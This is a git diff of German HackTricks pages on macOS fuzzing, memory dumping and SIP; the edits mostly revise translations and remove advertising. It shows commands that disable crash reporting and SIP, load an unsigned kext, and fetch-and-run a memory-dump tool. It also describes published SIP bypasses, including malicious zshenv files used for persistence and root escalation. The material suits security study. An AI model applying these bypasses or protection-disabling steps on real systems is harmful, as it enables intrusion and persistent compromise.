Für Daemons, andere Prozesse, die **im systemweiten launchd-Kontext** und andere privilegierte Prozesse ausgeführt werden, läuft ReportCrash als LaunchDaemon und speichert Absturzberichte im `/Library/Logs/DiagnosticReports` des Systems.
|
||||
|
||||
Wenn Sie sich Sorgen über Absturzberichte machen, die **an Apple gesendet werden**, können Sie sie deaktivieren. Andernfalls können Absturzberichte nützlich sein, um **herauszufinden, wie ein Server abgestürzt ist**.
|
||||
```bash
|
||||
|
@ -529,7 +516,7 @@ sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Roo
|
|||
launchctl load -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
|
||||
sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.plist
|
||||
```
|
||||
### Schlafen
|
||||
### Schlaf
|
||||
|
||||
Beim Fuzzing auf einem MacOS ist es wichtig, den Mac nicht in den Schlafmodus zu versetzen:
|
||||
|
||||
|
@ -585,7 +572,7 @@ Funktioniert für CLI-Tools
|
|||
|
||||
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
|
||||
|
||||
Es "**funktioniert einfach"** mit macOS GUI-Tools. Beachten Sie, dass einige macOS-Apps spezifische Anforderungen haben, wie eindeutige Dateinamen, die richtige Erweiterung und dass die Dateien aus dem Sandbox (`~/Library/Containers/com.apple.Safari/Data`) gelesen werden müssen...
|
||||
Es "**funktioniert einfach"** mit macOS GUI-Tools. Beachten Sie, dass einige macOS-Apps spezifische Anforderungen haben, wie eindeutige Dateinamen, die richtige Erweiterung, und dass die Dateien aus dem Sandbox (`~/Library/Containers/com.apple.Safari/Data`) gelesen werden müssen...
|
||||
|
||||
Einige Beispiele:
|
||||
|
||||
|
@ -629,25 +616,13 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
|
|||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
* [**The Art of Mac Malware: The Guide to Analyzing Malicious Software**](https://taomm.org/)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Account-Übernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks unterstützen</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -1,57 +1,44 @@
|
|||
# macOS Speicherauszug
|
||||
# macOS Memory Dumping
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen Sie AWS-Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen Sie GCP-Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys einreichen.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
## Memory Artifacts
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark Web** angetriebene Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von **Stealer-Malware** **kompromittiert** wurden.
|
||||
### Swap Files
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.
|
||||
Swap-Dateien, wie `/private/var/vm/swapfile0`, dienen als **Caches, wenn der physische Speicher voll ist**. Wenn im physischen Speicher kein Platz mehr ist, werden die Daten in eine Swap-Datei übertragen und bei Bedarf wieder in den physischen Speicher zurückgebracht. Es können mehrere Swap-Dateien vorhanden sein, mit Namen wie swapfile0, swapfile1 und so weiter.
|
||||
|
||||
Sie können ihre Website besuchen und ihren Dienst **kostenlos** ausprobieren unter:
|
||||
### Hibernate Image
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
Die Datei, die sich unter `/private/var/vm/sleepimage` befindet, ist während des **Hibernate-Modus** entscheidend. **Daten aus dem Speicher werden in dieser Datei gespeichert, wenn OS X in den Ruhezustand wechselt**. Nach dem Aufwachen des Computers ruft das System die Speicher Daten aus dieser Datei ab, sodass der Benutzer dort weitermachen kann, wo er aufgehört hat.
|
||||
|
||||
***
|
||||
|
||||
## Speicherartefakte
|
||||
|
||||
### Auslagerungsdateien
|
||||
|
||||
Auslagerungsdateien wie `/private/var/vm/swapfile0` dienen als **Zwischenspeicher, wenn der physische Speicher voll ist**. Wenn im physischen Speicher kein Platz mehr ist, werden die Daten in eine Auslagerungsdatei übertragen und bei Bedarf wieder in den physischen Speicher zurückgebracht. Es können mehrere Auslagerungsdateien vorhanden sein, mit Namen wie swapfile0, swapfile1 usw.
|
||||
|
||||
### Ruhezustandsabbild
|
||||
|
||||
Die Datei `/private/var/vm/sleepimage`, die sich im **Ruhezustand** befindet, ist entscheidend. **Daten aus dem Speicher werden in dieser Datei gespeichert, wenn macOS in den Ruhezustand versetzt wird**. Beim Aufwecken des Computers ruft das System die Speicherdaten aus dieser Datei ab, sodass der Benutzer dort weitermachen kann, wo er aufgehört hat.
|
||||
|
||||
Es ist erwähnenswert, dass diese Datei auf modernen MacOS-Systemen aus Sicherheitsgründen in der Regel verschlüsselt ist, was die Wiederherstellung erschwert.
|
||||
Es ist erwähnenswert, dass diese Datei auf modernen MacOS-Systemen aus Sicherheitsgründen typischerweise verschlüsselt ist, was die Wiederherstellung erschwert.
|
||||
|
||||
* Um zu überprüfen, ob die Verschlüsselung für das sleepimage aktiviert ist, kann der Befehl `sysctl vm.swapusage` ausgeführt werden. Dies zeigt an, ob die Datei verschlüsselt ist.
|
||||
|
||||
### Speicherdruckprotokolle
|
||||
### Memory Pressure Logs
|
||||
|
||||
Eine weitere wichtige speicherbezogene Datei in MacOS-Systemen sind die **Speicherdruckprotokolle**. Diese Protokolle befinden sich in `/var/log` und enthalten detaillierte Informationen zur Speicherauslastung des Systems und zu Druckereignissen. Sie können besonders nützlich sein, um speicherbezogene Probleme zu diagnostizieren oder zu verstehen, wie das System den Speicher im Laufe der Zeit verwaltet.
|
||||
Eine weitere wichtige speicherbezogene Datei in MacOS-Systemen ist das **Speicher-Druckprotokoll**. Diese Protokolle befinden sich in `/var/log` und enthalten detaillierte Informationen über die Speichernutzung und Druckereignisse des Systems. Sie können besonders nützlich sein, um speicherbezogene Probleme zu diagnostizieren oder zu verstehen, wie das System im Laufe der Zeit mit dem Speicher umgeht.
|
||||
|
||||
## Speicherauszug mit osxpmem
|
||||
## Dumping memory with osxpmem
|
||||
|
||||
Um den Speicher in einem MacOS-Gerät auszulesen, können Sie [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip) verwenden.
|
||||
Um den Speicher auf einem MacOS-Gerät zu dumpen, können Sie [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip) verwenden.
|
||||
|
||||
**Hinweis**: Die folgenden Anweisungen funktionieren nur für Macs mit Intel-Architektur. Dieses Tool ist jetzt archiviert und die letzte Version stammt aus dem Jahr 2017. Die mit den folgenden Anweisungen heruntergeladene Binärdatei zielt auf Intel-Chips ab, da Apple Silicon im Jahr 2017 noch nicht existierte. Es ist möglicherweise möglich, die Binärdatei für die arm64-Architektur zu kompilieren, aber Sie müssen es selbst versuchen.
|
||||
**Hinweis**: Die folgenden Anweisungen funktionieren nur für Macs mit Intel-Architektur. Dieses Tool ist jetzt archiviert und die letzte Version wurde 2017 veröffentlicht. Die mit den folgenden Anweisungen heruntergeladene Binärdatei richtet sich an Intel-Chips, da Apple Silicon 2017 noch nicht verfügbar war. Es kann möglich sein, die Binärdatei für die arm64-Architektur zu kompilieren, aber das müssen Sie selbst ausprobieren.
|
||||
```bash
|
||||
#Dump raw format
|
||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||
|
@ -59,14 +46,14 @@ sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
|||
#Dump aff4 format
|
||||
sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4
|
||||
```
|
||||
Wenn Sie diesen Fehler finden: `osxpmem.app/MacPmem.kext konnte nicht geladen werden - (libkern/kext) Authentifizierungsfehler (Dateibesitz/Berechtigungen); überprüfen Sie die System-/Kernelprotokolle auf Fehler oder versuchen Sie kextutil(8)` Sie können es beheben, indem Sie:
|
||||
Wenn Sie diesen Fehler finden: `osxpmem.app/MacPmem.kext konnte nicht geladen werden - (libkern/kext) Authentifizierungsfehler (Dateibesitz/ Berechtigungen); überprüfen Sie die System-/Kernelprotokolle auf Fehler oder versuchen Sie kextutil(8)` können Sie ihn beheben, indem Sie:
|
||||
```bash
|
||||
sudo cp -r osxpmem.app/MacPmem.kext "/tmp/"
|
||||
sudo kextutil "/tmp/MacPmem.kext"
|
||||
#Allow the kext in "Security & Privacy --> General"
|
||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||
```
|
||||
**Andere Fehler** können behoben werden, indem Sie das Laden des kext in "Sicherheit & Datenschutz --> Allgemein" **zulassen**, einfach **zulassen**.
|
||||
**Andere Fehler** könnten behoben werden, indem **das Laden des kext** in "Sicherheit & Datenschutz --> Allgemein" **erlaubt** wird, einfach **erlauben**.
|
||||
|
||||
Sie können auch diesen **Oneliner** verwenden, um die Anwendung herunterzuladen, den kext zu laden und den Speicher zu dumpen:
|
||||
|
||||
|
@ -77,21 +64,10 @@ cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark Web** angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Suchmaschine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen Sie & üben Sie AWS-Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen Sie & üben Sie GCP-Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -99,7 +75,7 @@ Lernen Sie & üben Sie GCP-Hacking: <img src="/.gitbook/assets/grte.png" alt=""
|
|||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,30 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## **Grundinformationen**
|
||||
|
||||
**System Integrity Protection (SIP)** in macOS ist ein Mechanismus, der entwickelt wurde, um selbst die privilegiertesten Benutzer daran zu hindern, unbefugte Änderungen an wichtigen Systemordnern vorzunehmen. Diese Funktion spielt eine entscheidende Rolle bei der Aufrechterhaltung der Integrität des Systems, indem sie Aktionen wie das Hinzufügen, Ändern oder Löschen von Dateien in geschützten Bereichen einschränkt. Die wichtigsten Ordner, die durch SIP geschützt sind, umfassen:
|
||||
**System Integrity Protection (SIP)** in macOS ist ein Mechanismus, der verhindern soll, dass selbst die privilegiertesten Benutzer unbefugte Änderungen an wichtigen Systemordnern vornehmen. Diese Funktion spielt eine entscheidende Rolle bei der Aufrechterhaltung der Integrität des Systems, indem sie Aktionen wie das Hinzufügen, Ändern oder Löschen von Dateien in geschützten Bereichen einschränkt. Die wichtigsten Ordner, die durch SIP geschützt sind, umfassen:
|
||||
|
||||
* **/System**
|
||||
* **/bin**
|
||||
* **/sbin**
|
||||
* **/usr**
|
||||
|
||||
Die Regeln, die das Verhalten von SIP steuern, sind in der Konfigurationsdatei festgelegt, die sich unter **`/System/Library/Sandbox/rootless.conf`** befindet. Innerhalb dieser Datei werden Pfade, die mit einem Sternchen (\*) vorangestellt sind, als Ausnahmen von den ansonsten strengen SIP-Beschränkungen bezeichnet.
|
||||
Die Regeln, die das Verhalten von SIP steuern, sind in der Konfigurationsdatei unter **`/System/Library/Sandbox/rootless.conf`** definiert. Innerhalb dieser Datei werden Pfade, die mit einem Sternchen (\*) vorangestellt sind, als Ausnahmen von den ansonsten strengen SIP-Beschränkungen bezeichnet.
|
||||
|
||||
Betrachten Sie das folgende Beispiel:
|
||||
```javascript
|
||||
|
@ -47,7 +34,7 @@ Betrachten Sie das folgende Beispiel:
|
|||
* /usr/local
|
||||
* /usr/share/man
|
||||
```
|
||||
Dieser Abschnitt impliziert, dass SIP im Allgemeinen das **`/usr`** Verzeichnis sichert, es jedoch spezifische Unterverzeichnisse (`/usr/libexec/cups`, `/usr/local` und `/usr/share/man`) gibt, in denen Modifikationen zulässig sind, wie durch den Stern (\*) vor ihren Pfaden angezeigt.
|
||||
Dieser Abschnitt impliziert, dass SIP im Allgemeinen das **`/usr`** Verzeichnis sichert, es jedoch spezifische Unterverzeichnisse (`/usr/libexec/cups`, `/usr/local` und `/usr/share/man`) gibt, in denen Änderungen zulässig sind, wie durch den Stern (\*) vor ihren Pfaden angezeigt.
|
||||
|
||||
Um zu überprüfen, ob ein Verzeichnis oder eine Datei durch SIP geschützt ist, können Sie den Befehl **`ls -lOd`** verwenden, um das Vorhandensein des **`restricted`** oder **`sunlnk`** Flags zu überprüfen. Zum Beispiel:
|
||||
```bash
|
||||
|
@ -61,9 +48,9 @@ Andererseits:
|
|||
ls -lOd /usr/libexec
|
||||
drwxr-xr-x 338 root wheel restricted 10816 May 13 00:29 /usr/libexec
|
||||
```
|
||||
Hier zeigt das **`restricted`** Flag an, dass das Verzeichnis `/usr/libexec` durch SIP geschützt ist. In einem SIP-geschützten Verzeichnis können Dateien nicht erstellt, geändert oder gelöscht werden.
|
||||
Hier zeigt das **`restricted`** Flag an, dass das Verzeichnis `/usr/libexec` durch SIP geschützt ist. In einem SIP-geschützten Verzeichnis können keine Dateien erstellt, geändert oder gelöscht werden.
|
||||
|
||||
Darüber hinaus wird eine Datei, die das Attribut **`com.apple.rootless`** als erweiterte **Eigenschaft** enthält, ebenfalls **durch SIP geschützt**.
|
||||
Darüber hinaus wird eine Datei, die das Attribut **`com.apple.rootless`** als erweitertes **Attribut** enthält, ebenfalls **durch SIP geschützt**.
|
||||
|
||||
**SIP beschränkt auch andere Root-Aktionen** wie:
|
||||
|
||||
|
@ -72,7 +59,7 @@ Darüber hinaus wird eine Datei, die das Attribut **`com.apple.rootless`** als e
|
|||
* Ändern von NVRAM-Variablen
|
||||
* Erlauben von Kernel-Debugging
|
||||
|
||||
Optionen werden in der NVRAM-Variablen als Bitflag (`csr-active-config` auf Intel und `lp-sip0` wird aus dem gebooteten Device Tree für ARM gelesen) gespeichert. Sie können die Flags im XNU-Quellcode in `csr.sh` finden:
|
||||
Optionen werden in der NVRAM-Variablen als Bitflag gespeichert (`csr-active-config` auf Intel und `lp-sip0` wird aus dem gebooteten Device Tree für ARM gelesen). Sie können die Flags im XNU-Quellcode in `csr.sh` finden:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1192).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -86,7 +73,7 @@ Wenn Sie SIP deaktivieren müssen, müssen Sie Ihren Computer im Wiederherstellu
|
|||
```bash
|
||||
csrutil disable
|
||||
```
|
||||
Wenn Sie SIP aktiviert lassen, aber die Debugging-Schutzmaßnahmen entfernen möchten, können Sie dies mit folgendem Befehl tun:
|
||||
Wenn Sie SIP aktiviert lassen, aber die Debugging-Schutzmaßnahmen entfernen möchten, können Sie dies tun mit:
|
||||
```bash
|
||||
csrutil enable --without debug
|
||||
```
|
||||
|
@ -94,7 +81,7 @@ csrutil enable --without debug
|
|||
|
||||
* **Verhindert das Laden von nicht signierten Kernel-Erweiterungen** (kexts), wodurch sichergestellt wird, dass nur verifizierte Erweiterungen mit dem Systemkernel interagieren.
|
||||
* **Verhindert das Debugging** von macOS-Systemprozessen und schützt so die Kernkomponenten des Systems vor unbefugtem Zugriff und Modifikation.
|
||||
* **Hemmung von Tools** wie dtrace, die Systemprozesse inspizieren, um die Integrität des Systembetriebs weiter zu schützen.
|
||||
* **Hemmung von Tools** wie dtrace, um Systemprozesse zu inspizieren, was die Integrität des Systembetriebs weiter schützt.
|
||||
|
||||
[**Erfahren Sie mehr über SIP-Informationen in diesem Vortrag**](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)**.**
|
||||
|
||||
|
@ -104,7 +91,7 @@ Die Umgehung von SIP ermöglicht es einem Angreifer:
|
|||
|
||||
* **Zugriff auf Benutzerdaten**: Sensible Benutzerdaten wie E-Mails, Nachrichten und Safari-Verlauf aus allen Benutzerkonten zu lesen.
|
||||
* **TCC-Umgehung**: Direkte Manipulation der TCC (Transparenz, Zustimmung und Kontrolle)-Datenbank, um unbefugten Zugriff auf die Webcam, das Mikrofon und andere Ressourcen zu gewähren.
|
||||
* **Persistenz herstellen**: Malware an SIP-geschützten Orten platzieren, wodurch sie resistent gegen Entfernung ist, selbst durch Root-Rechte. Dies schließt auch die Möglichkeit ein, das Malware Removal Tool (MRT) zu manipulieren.
|
||||
* **Persistenz herstellen**: Malware an SIP-geschützten Orten platzieren, wodurch sie resistent gegen Entfernung wird, selbst durch Root-Rechte. Dies schließt auch die Möglichkeit ein, das Malware Removal Tool (MRT) zu manipulieren.
|
||||
* **Kernel-Erweiterungen laden**: Obwohl es zusätzliche Schutzmaßnahmen gibt, vereinfacht die Umgehung von SIP den Prozess des Ladens von nicht signierten Kernel-Erweiterungen.
|
||||
|
||||
### Installationspakete
|
||||
|
@ -123,7 +110,7 @@ Die Berechtigung **`com.apple.rootless.install.heritable`** ermöglicht es, SIP
|
|||
|
||||
#### [CVE-2019-8561](https://objective-see.org/blog/blog\_0x42.html) <a href="#cve" id="cve"></a>
|
||||
|
||||
Es wurde entdeckt, dass es möglich war, **das Installationspaket zu tauschen, nachdem das System seine Code**-Signatur überprüft hatte, und dann würde das System das bösartige Paket anstelle des Originals installieren. Da diese Aktionen von **`system_installd`** durchgeführt wurden, würde dies die Umgehung von SIP ermöglichen.
|
||||
Es wurde entdeckt, dass es möglich war, **das Installationspaket nach der Überprüfung der Codesignatur durch das System zu tauschen**, sodass das System das bösartige Paket anstelle des Originals installieren würde. Da diese Aktionen von **`system_installd`** durchgeführt wurden, würde dies die Umgehung von SIP ermöglichen.
|
||||
|
||||
#### [CVE-2020–9854](https://objective-see.org/blog/blog\_0x4D.html) <a href="#cve-unauthd-chain" id="cve-unauthd-chain"></a>
|
||||
|
||||
|
@ -131,21 +118,21 @@ Wenn ein Paket von einem gemounteten Image oder externen Laufwerk installiert wu
|
|||
|
||||
#### CVE-2021-30892 - Shrootless
|
||||
|
||||
[**Forscher aus diesem Blogbeitrag**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) entdeckten eine Schwachstelle im Systemintegritätsschutz (SIP) von macOS, die als 'Shrootless'-Schwachstelle bezeichnet wird. Diese Schwachstelle konzentriert sich auf den **`system_installd`**-Daemon, der eine Berechtigung, **`com.apple.rootless.install.heritable`**, hat, die es einem seiner Kindprozesse ermöglicht, die Dateisystembeschränkungen von SIP zu umgehen.
|
||||
[**Forscher aus diesem Blogbeitrag**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) entdeckten eine Schwachstelle im Systemintegritätsschutz (SIP)-Mechanismus von macOS, die als 'Shrootless'-Schwachstelle bezeichnet wird. Diese Schwachstelle konzentriert sich auf den **`system_installd`**-Daemon, der eine Berechtigung, **`com.apple.rootless.install.heritable`**, hat, die es einem seiner Kindprozesse ermöglicht, die Dateisystembeschränkungen von SIP zu umgehen.
|
||||
|
||||
Der **`system_installd`**-Daemon installiert Pakete, die von **Apple** signiert wurden.
|
||||
|
||||
Forscher fanden heraus, dass während der Installation eines von Apple signierten Pakets (.pkg-Datei) **`system_installd`** **alle** **Post-Installations**-Skripte ausführt, die im Paket enthalten sind. Diese Skripte werden von der Standard-Shell, **`zsh`**, ausgeführt, die automatisch **Befehle aus der** **`/etc/zshenv`**-Datei ausführt, wenn sie existiert, selbst im nicht-interaktiven Modus. Dieses Verhalten könnte von Angreifern ausgenutzt werden: indem sie eine bösartige `/etc/zshenv`-Datei erstellen und auf **`system_installd` warten, um `zsh` aufzurufen**, könnten sie beliebige Operationen auf dem Gerät durchführen.
|
||||
Forscher fanden heraus, dass während der Installation eines von Apple signierten Pakets (.pkg-Datei) **`system_installd`** **alle** **Post-Installations**-Skripte ausführt, die im Paket enthalten sind. Diese Skripte werden von der Standard-Shell, **`zsh`**, ausgeführt, die automatisch **Befehle aus der Datei** **`/etc/zshenv`** ausführt, wenn sie existiert, selbst im nicht-interaktiven Modus. Dieses Verhalten könnte von Angreifern ausgenutzt werden: indem sie eine bösartige `/etc/zshenv`-Datei erstellen und auf **`system_installd` warten, um `zsh` aufzurufen**, könnten sie beliebige Operationen auf dem Gerät durchführen.
|
||||
|
||||
Darüber hinaus wurde entdeckt, dass **`/etc/zshenv` als allgemeine Angriffstechnik** verwendet werden könnte, nicht nur für eine SIP-Umgehung. Jedes Benutzerprofil hat eine `~/.zshenv`-Datei, die sich genauso verhält wie `/etc/zshenv`, aber keine Root-Rechte benötigt. Diese Datei könnte als Persistenzmechanismus verwendet werden, der jedes Mal ausgelöst wird, wenn `zsh` gestartet wird, oder als Mechanismus zur Erhöhung der Berechtigungen. Wenn ein Admin-Benutzer mit `sudo -s` oder `sudo <Befehl>` zu Root aufsteigt, würde die `~/.zshenv`-Datei ausgelöst, was effektiv zu Root-Rechten führt.
|
||||
|
||||
#### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)
|
||||
|
||||
In [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) wurde entdeckt, dass der gleiche **`system_installd`**-Prozess weiterhin missbraucht werden konnte, da er das **Post-Installations-Skript in einen zufällig benannten Ordner, der von SIP in `/tmp` geschützt ist,** legte. Das Problem ist, dass **`/tmp` selbst nicht von SIP geschützt ist**, sodass es möglich war, ein **virtuelles Image darauf zu mounten**, dann würde der **Installer** das **Post-Installations-Skript** dort ablegen, das virtuelle Image **aushängen**, alle **Ordner** **neu erstellen** und das **Post-Installations**-Skript mit der **Payload** zum Ausführen hinzufügen.
|
||||
In [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) wurde entdeckt, dass der gleiche **`system_installd`**-Prozess weiterhin missbraucht werden konnte, da er das **Post-Installationsskript in einen zufällig benannten Ordner, der durch SIP in `/tmp` geschützt ist,** legte. Das Problem ist, dass **`/tmp` selbst nicht durch SIP geschützt ist**, sodass es möglich war, ein **virtuelles Image darauf zu mounten**, dann würde der **Installer** das **Post-Installationsskript** dort ablegen, das virtuelle Image **aushängen**, alle **Ordner neu erstellen** und das **Post-Installationsskript** mit der **Payload** hinzufügen, um es auszuführen.
|
||||
|
||||
#### [fsck\_cs utility](https://www.theregister.com/2016/03/30/apple\_os\_x\_rootless/)
|
||||
|
||||
